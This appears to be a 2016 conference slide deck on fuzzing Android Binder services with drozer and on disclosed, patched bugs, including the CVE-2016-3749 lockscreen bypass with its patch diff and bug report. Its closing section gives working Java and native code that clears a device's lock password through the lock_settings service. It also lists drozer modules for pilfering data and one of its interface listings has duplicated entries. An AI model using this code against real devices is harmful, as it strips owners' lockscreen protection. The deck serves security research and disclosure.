


# Binder Fuzz based on drozer & Some interesting Vulnerabilities sharing



行之 (@0xr0ot)

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Kcon Beijing 2016

# Who am I

- ID:0xr0ot(not 0xroot)
- Security researcher(2 years)
- Mainly focus on Android security
- Always like basketball




# Agenda

- drozer introduction
- Binder fuzz model
- Case share
- How to exploit



# Drozer Architecture

- console
- agent
- server



```
.. ..  
..0.. ..r..  
..a.. ..nd  
ro..idsnemesisand..pr  
.otectorandroidsneme.  
. ,sisandprotectorandroids+.  
..nemesisandprotectorandroidsn:  
.emesisandprotectorandroidsnemes..  
..isandp,..,rotectorandro,..idsnem.  
.isisandp..rotectorandroid..snemisis.  
.andprotectorandroidsnemisisandprotec.  
.torandroidsnemisisandprotectorandroid.  
.snemisisandprotectorandroidsnemisisan:  
.dprotectorandroidsnemisisandprotector.  
  
drozer Console (v2.3.4)  
dz> run scanner.  
scanner.activity.browsable scanner.misc.weburls  
scanner.malware.virustotal scanner.misc.writablefiles  
scanner.misc.checkjavascriptbridge scanner.oem.samsung  
scanner.misc.native scanner.provider.finduris  
scanner.misc.readablefiles scanner.provider.injection  
scanner.misc.secretcodes scanner.provider.sqltables  
scanner.misc.securerandom scanner.provider.traversal  
scanner.misc.sflagbinaries scanner.root.check  
dz> run exploit.  
exploit.badauth.callme1  
exploit.badauth.callme2  
exploit.badauth.smsdraftsend  
exploit.badauth.unlock  
exploit.jdwp.check
```

# Functionality

- Exploit
- Scanner


Metasploit?

```
exploit.pilfer.oem.samsung.memo
exploit.pilfer.oem.samsung.minidiary
exploit.pilfer.oem.samsung.postit
exploit.pilfer.oem.samsung.social_hub.im
exploit.pilfer.oem.samsung.social_hub.impassword
exploit.pilfer.oem.samsung.social_hub.instantmessages
exploit.pilfer.oem.samsung.social_hub.messages
exploit.pilfer.oem.samsung.social_hub.registeredaccounts
exploit.pilfer.thirdparty.idea.superbackup.calls
exploit.pilfer.thirdparty.idea.superbackup.contacts
exploit.pilfer.thirdparty.idea.superbackup.smses
exploit.pilfer.thirdparty.inkpad.notes.list
exploit.pilfer.thirdparty.inkpad.notes.note
exploit.pilfer.thirdparty.maildroid.emails
exploit.pilfer.thirdparty.seesmic.twitter.outhtokens
exploit.pilfer.thirdparty.shazam.gps
exploit.pilfer.thirdparty.sophos.mobilecontrol.messages
exploit.root.cmdclient
exploit.root.exynosmem
exploit.root.huaweip2
exploit.root.mmap_abuse
exploit.root.towelroot
exploit.root.ztesyncagent
```

```
dz> run scanner.
scanner.activity.browsable
scanner.malware.virustotal
scanner.misc.checkjavascriptbridge
scanner.misc.native
scanner.misc.readablefiles
scanner.misc.secretcodes
scanner.misc.securerandom
scanner.misc.sflagbinaries
scanner.misc.weburls
scanner.misc.writablefiles
scanner.oem.samsung
scanner.provider.finduris
scanner.provider.injection
scanner.provider.sqltables
scanner.provider.traversal
scanner.root.check
```

# Design Principles

- Reflection
- Class loading



```
from drozer.modules import Module

class GetInteger(Module):

    name = ""
    description = ""
    examples = ""
    author = "Joe Bloggs (@jbloggs)"
    date = "2012-12-21"
    license = "BSD (3-clause)"
    path = ["ex", "random"]


    def execute(self, arguments):
        random = self.new("java.util.Random")
        integer = random.nextInt()

        self.stdout.write("int: %d\n" % integer)
```

```
def execute(self, arguments):
    MyClass = self.context.loadClass("MyClass.apk", "MyClass", relative_to=__file__)
```

# Drozer mode

- direct mode
- infrastructure mode



The screenshot shows a mobile application interface for configuring a new endpoint. At the top, there is a status bar with an Android icon, a signal strength indicator, a battery icon, and the time 2:56. Below the status bar is a header bar with the Drozer logo (an orange 'd' in a square) and the text 'New Endpoint'. To the right of the header are two buttons: 'SAVE' and 'CANCEL'. The main content area is divided into two sections: 'ENDPOINT SETTINGS' and 'SECURITY SETTINGS'. The 'ENDPOINT SETTINGS' section includes three input fields: 'Endpoint', 'Host', and 'Port'. The 'SECURITY SETTINGS' section includes a 'Password' field with a description: 'Set a password, required to establish a session with this agent.' Below the password field is a toggle switch for 'Enable SSL' with the description: 'Encrypt connections to your device, using SSL.' The toggle switch is currently unchecked. Below the 'Enable SSL' section is a 'Trust Store Path' field with the description: 'Specify the path to the Keystore containing the CA certificates.' At the bottom of the form, the 'Trust Store Password' field is partially visible. The bottom of the screen shows the standard Android navigation bar with back, home, and recent apps buttons.

# Commands

```
drozer server start --port port
```

```
drozer exploit build
```

```
exploit.usb.socialengineering.usbdebugging --server ip --  
credentials username password
```

```
drozer console connect --server ip:port --password
```



# Writing a module

```
from drozer.modules import Module

class GetInteger(Module):


    name = ""
    description = ""
    examples = ""
    author = "Joe Bloggs (@jbloggs)"
    date = "2012-12-21"
    license = "BSD (3-clause)"
    path = ["ex", "random"]

    def execute(self, arguments):
        random = self.new("java.util.Random")
        integer = random.nextInt()

        self.stdout.write("int: %d\n" % integer)
```

# Binder fuzz

Why use drozer? I am familiar with it, XD!



零分·回家自己檢討一下。

- fuzz intent
- fuzz service call

# Fuzz model


- drozer module(core)
- external python script(control logic)

All in the one drozer module is OK!

# Case Share

- LockScreen bypass(or clear)
- Fake shutdown (eavesdropping)
- Capability leak
- System Dos

# LockScreen bypass(CVE-2016-3749)



# CVE-2016-3749 Details

```
1 ILockSettings.java x
3 /**
4  * Created by 0xr0ot on 16/5/27.
5  */
6 public interface ILockSettings extends android.os.IInterface {
7
8     static final int TRANSACTION_setBoolean = (android.os.IBinder.FIRST_CALL_TRANSACTION + 0);
9     static final int TRANSACTION_setLong = (android.os.IBinder.FIRST_CALL_TRANSACTION + 1);
10    static final int TRANSACTION_setString = (android.os.IBinder.FIRST_CALL_TRANSACTION + 2);
11    static final int TRANSACTION_getBoolean = (android.os.IBinder.FIRST_CALL_TRANSACTION + 3);
12    static final int TRANSACTION_getLong = (android.os.IBinder.FIRST_CALL_TRANSACTION + 4);
13    static final int TRANSACTION_getString = (android.os.IBinder.FIRST_CALL_TRANSACTION + 5);
14    static final int TRANSACTION_setLockPattern = (android.os.IBinder.FIRST_CALL_TRANSACTION + 6);
15    static final int TRANSACTION_checkPattern = (android.os.IBinder.FIRST_CALL_TRANSACTION + 7);
16    static final int TRANSACTION_verifyPattern = (android.os.IBinder.FIRST_CALL_TRANSACTION + 8);
17    static final int TRANSACTION_setLockPassword = (android.os.IBinder.FIRST_CALL_TRANSACTION + 9);
18    static final int TRANSACTION_checkPassword = (android.os.IBinder.FIRST_CALL_TRANSACTION + 10);
19    static final int TRANSACTION_verifyPassword = (android.os.IBinder.FIRST_CALL_TRANSACTION + 11);
20    static final int TRANSACTION_checkVoldPassword = (android.os.IBinder.FIRST_CALL_TRANSACTION + 12);
21    static final int TRANSACTION_havePattern = (android.os.IBinder.FIRST_CALL_TRANSACTION + 13);
22    static final int TRANSACTION_havePassword = (android.os.IBinder.FIRST_CALL_TRANSACTION + 14);
23    static final int TRANSACTION_registerStrongAuthTracker = (android.os.IBinder.FIRST_CALL_TRANSACTION + 15);
24    static final int TRANSACTION_unregisterStrongAuthTracker = (android.os.IBinder.FIRST_CALL_TRANSACTION + 16);
25    static final int TRANSACTION_requireStrongAuth = (android.os.IBinder.FIRST_CALL_TRANSACTION + 17);
26
27    public void setBoolean(java.lang.String key, boolean value, int userId) throws android.os.RemoteException;
28    public void setLong(java.lang.String key, long value, int userId) throws android.os.RemoteException;
29    public void setString(java.lang.String key, java.lang.String value, int userId) throws android.os.RemoteException;
30    public boolean getBoolean(java.lang.String key, boolean defaultValue, int userId) throws android.os.RemoteException;
31    public long getLong(java.lang.String key, long defaultValue, int userId) throws android.os.RemoteException;
32    public java.lang.String getString(java.lang.String key, java.lang.String defaultValue, int userId) throws android.os.RemoteException;
33    public void setLockPattern(java.lang.String pattern, java.lang.String savedPattern, int userId) throws android.os.RemoteException;
34    public VerifyCredentialResponse checkPattern(java.lang.String pattern, int userId) throws android.os.RemoteException;
35    public VerifyCredentialResponse verifyPattern(java.lang.String pattern, long challenge, int userId) throws android.os.RemoteException;
36    public void setLockPassword(java.lang.String password, java.lang.String savedPassword, int userId) throws android.os.RemoteException;
37    public VerifyCredentialResponse checkPassword(java.lang.String password, int userId) throws android.os.RemoteException;
38    public VerifyCredentialResponse verifyPassword(java.lang.String password, long challenge, int userId) throws android.os.RemoteException;
39    public boolean checkVoldPassword(int userId) throws android.os.RemoteException;
40    public boolean havePattern(int userId) throws android.os.RemoteException;
41    public boolean havePassword(int userId) throws android.os.RemoteException;
42    public void registerStrongAuthTracker(IStrongAuthTracker tracker) throws android.os.RemoteException;
43    public void unregisterStrongAuthTracker(IStrongAuthTracker tracker) throws android.os.RemoteException;
44    public void requireStrongAuth(int strongAuthReason, int userId) throws android.os.RemoteException;
45 }
```

# Windfall

```
1 LockSettings.java x
4
5 /**
6  * Created by 0xr0t on 16/5/30.
7  */
8
9 public interface ILockSettings extends android.os.IInterface {
10     static final int TRANSACTION_setBoolean = (android.os.IBinder.FIRST_CALL_TRANSACTION + 0);
11     static final int TRANSACTION_setLong = (android.os.IBinder.FIRST_CALL_TRANSACTION + 1);
12     static final int TRANSACTION_setString = (android.os.IBinder.FIRST_CALL_TRANSACTION + 2);
13     static final int TRANSACTION_getBoolean = (android.os.IBinder.FIRST_CALL_TRANSACTION + 3);
14     static final int TRANSACTION_getLong = (android.os.IBinder.FIRST_CALL_TRANSACTION + 4);
15     static final int TRANSACTION_getString = (android.os.IBinder.FIRST_CALL_TRANSACTION + 5);
16     static final int TRANSACTION_setLockPattern = (android.os.IBinder.FIRST_CALL_TRANSACTION + 6);
17     static final int TRANSACTION_checkPattern = (android.os.IBinder.FIRST_CALL_TRANSACTION + 7);
18     static final int TRANSACTION_removeUser = (android.os.IBinder.FIRST_CALL_TRANSACTION + 8);
19     static final int TRANSACTION_unregisterObserver = (android.os.IBinder.FIRST_CALL_TRANSACTION + 9);
20     static final int TRANSACTION_checkVoldPassword = (android.os.IBinder.FIRST_CALL_TRANSACTION + 10);
21     static final int TRANSACTION_havePattern = (android.os.IBinder.FIRST_CALL_TRANSACTION + 11);
22     static final int TRANSACTION_havePassword = (android.os.IBinder.FIRST_CALL_TRANSACTION + 12);
23     static final int TRANSACTION_removeUser = (android.os.IBinder.FIRST_CALL_TRANSACTION + 13);
24     static final int TRANSACTION_registerObserver = (android.os.IBinder.FIRST_CALL_TRANSACTION + 14);
25     static final int TRANSACTION_unregisterObserver = (android.os.IBinder.FIRST_CALL_TRANSACTION + 15);
26
27     public void setBoolean(java.lang.String key, boolean value, int userId) throws android.os.RemoteException;
28
29     public void setLong(java.lang.String key, long value, int userId) throws android.os.RemoteException;
30
31     public void setString(java.lang.String key, java.lang.String value, int userId) throws android.os.RemoteException;
32
33     public boolean getBoolean(java.lang.String key, boolean defaultValue, int userId) throws android.os.RemoteException;
34
35     public long getLong(java.lang.String key, long defaultValue, int userId) throws android.os.RemoteException;
36
37     public java.lang.String getString(java.lang.String key, java.lang.String defaultValue, int userId) throws android.os.RemoteException;
38
39     public void setLockPattern(java.lang.String pattern, int userId) throws android.os.RemoteException;
40
41     public boolean checkPattern(java.lang.String pattern, int userId) throws android.os.RemoteException;
42
43     public boolean checkPattern(java.lang.String pattern, int userId) throws android.os.RemoteException;
44
45     public boolean checkPattern(java.lang.String pattern, int userId) throws android.os.RemoteException;
46
47     public boolean checkVoldPassword(int userId) throws android.os.RemoteException;
```

# CVE-2016-3749 Patch

Fix missing permission check when saving pattern/password

Fixes bug 28163930

Change-Id: [Ic98ef20933b352159b88fdef331e83e9ef6e1f20](#)

```
diff --git a/services/core/java/com/android/server/LockSettingsService.java b/services/core/java/com/android/server/LockSettingsService.java
index f1d7da4..55682c2 100644
```

```
--- a/services/core/java/com/android/server/LockSettingsService.java
+++ b/services/core/java/com/android/server/LockSettingsService.java
```

```
@@ -424,6 +424,7 @@
```

```
    @Override
```

```
    public void setLockPattern(String pattern, String savedCredential, int userId)
        throws RemoteException {
```

```
+    checkWritePermission(userId);
```

```
    byte[] currentHandle = getCurrentHandle(userId);
```

```
        if (pattern == null) {
```

```
@@ -452,6 +453,7 @@
```

```
    @Override
```

```
    public void setLockPassword(String password, String savedCredential, int userId)
        throws RemoteException {
```

```
+    checkWritePermission(userId);
```

```
    byte[] currentHandle = getCurrentHandle(userId);
```

```
        if (password == null) {
```



# My first high severity issue

## ★ Issue [215316](#): Elevation of privilege vulnerability in LockSettingsService


1 person starred this issue and may be notified of changes.

Status: Assigned

Reported by [0xr0ot...@gmail.com](#), Jul 6, 2016

Status: Assigned  
Owner: [qua...@google.com](#)  
Cc: [secur...@android.com](#)

Type-Security  
Priority-Medium  
AndroidID-30003944  
Severity-High  
Triaged-yes



Restricted

• Only users with Commit permission can see this issue.

Project Member #5 [qua...@google.com](#)

Jul 19, 2016

Thank you for submitting this vulnerability report. We've reviewed the issue and set the severity to High.

For reference, the severity classification is documented here:  
<https://source.android.com/security/overview/updates-resources.html>

Thanks,  
Android Security Team

# Fake Shutdown(eavesdropping)

- Samsung



# Capability Leak

- nexus series car mode
- samsung change theme

Video demonstration




# System Dots(restart)

- nexus(3↑)

Video demonstration.

- samsung(11↑)




# Samsung Acknowledgements

## **Acknowledgements**

We truly appreciate the following researchers for helping Samsung to improve the security of our products.

- Zhaozhanpeng of Cheetah Mobile : SVE-2016-6242 (CVE-2016-6526), SVE-2016-6244 (CVE-2016-6527)
- James Fang and Anthony LAOU HINE TSUEI of Tencent Keen Lab : SVE-2016-6382
- Tom Court of Context : SVE-2016-6542

# Good News



# How to exploit(system service vulnerability)

- use AIDL file
- use java reflection
- native layer
- shell script

# Exploit-use AIDL file

- The Android SDK tools will help to generate an interface in the Java programming language, based on the .aidl file you import.
- “The `***.aidl` file not found”, but it’s just there. If the similar error occurs, you can write the java code manually.

Reference:

Android Bound Service攻击(by 小荷才露尖尖角)

<http://drops.wooyun.org/mobile/13676>



# Exploit-use AIDL file

```
1  @Override
2  protected void onCreate(Bundle savedInstanceState) {
3      super.onCreate(savedInstanceState);
4      setContentView(R.layout.activity_main);
5      try {
6          Class c = Class.forName("android.os.ServiceManager");
7          Method m = c.getMethod("getService", String.class);
8          IBinder binder_lock_settings = (IBinder) m.invoke(null, "lock_settings");
9          ILockSettings locksetting_mgr = LockSettingsStub.asInterface(binder_lock_settings);
10
11         if (locksetting_mgr != null) {
12             locksetting_mgr.setLockPassword(null, null, 0);
13         }
14
15     } catch (RemoteException ex) {
16         ex.printStackTrace();
17     } catch (NoSuchMethodException e) {
18         e.printStackTrace();
19     } catch (IllegalAccessException e) {
20         e.printStackTrace();
21     } catch (InvocationTargetException e) {
22         e.printStackTrace();
23     } catch (ClassNotFoundException e) {
24         e.printStackTrace();
25     }
26 }
```

# Exploit-use reflection

- The nature is the same as use AIDL file.
- It doesn't need .AIDL file.

```
private void clear() throws Throwable {
    Parcel data = Parcel.obtain();
    Parcel reply = Parcel.obtain();
    try {
        Class<?> c = Class.forName("android.os.ServiceManager");
        Method m = c.getMethod("getService", String.class);
        IBinder binder_lock_settings = (IBinder) m.invoke(null, "lock_settings");
        if (binder_lock_settings != null) {
            data.writeInt(0);
            binder_lock_settings.transact(10, data, reply, 0);
            reply.readException();
        }
    } catch (RemoteException ex) {
        ex.printStackTrace();
    } finally {
        data.recycle();
        reply.recycle();
    }
}
```

# Exploit-native

```
void clear(sp<IBinder>& service)
{
    Parcel data, reply;
    data.writeInt32(0);
    status_t st = service->transact(10, data, &reply);
}

int main()
{
    sp<IBinder> binder = defaultServiceManager()->getService(String16(LOCKSERVICE));
    if (binder == NULL) {
        LOGI("Failed to get lock_settings service: %s", LOCKSERVICE);
        return -1;
    }
    clear(binder);
    return 0;
}
```

# Exploit-shell script

- clear.sh
- key code:

```
Runtime runtime = Runtime.getRuntime();
```

```
Process proc = runtime.exec(command);
```

# Summary

- AIDL:It is easy to see the nature of the vulnerability.
- java reflection: It is simple and convenient.
- native:It needs android source environment.
- shell script:It is simple.

大家可以回家啦  
Go home, everybody!

**Thank you!**

**Q&A**